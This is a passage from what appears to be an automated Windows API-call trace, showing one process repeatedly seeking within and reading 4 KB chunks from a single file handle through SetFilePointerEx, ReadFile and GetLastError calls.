| out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.285] GetLastError () returned 0x0 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.285] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.286] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.286] GetLastError () returned 0x0 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.287] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.287] GetLastError () returned 0x0 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.288] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.288] GetLastError () returned 0x0 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.289] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.289] GetLastError () returned 0x0 [0129.289] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.290] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.290] GetLastError () returned 0x0 [0129.290] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.291] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.292] GetLastError () returned 0x0 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.292] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.293] GetLastError () returned 0x0 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.293] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.293] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.294] GetLastError () returned 0x0 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.294] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.294] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.295] GetLastError () returned 0x0 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.295] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.295] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.296] GetLastError () returned 0x0 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.296] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.297] GetLastError () returned 0x0 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.297] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.297] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.298] GetLastError () returned 0x0 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.298] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.299] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.299] GetLastError () returned 0x0 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.299] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.300] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.300] GetLastError () returned 0x0 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.300] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.301] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.301] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.302] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.302] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.303] ReadFile (in: 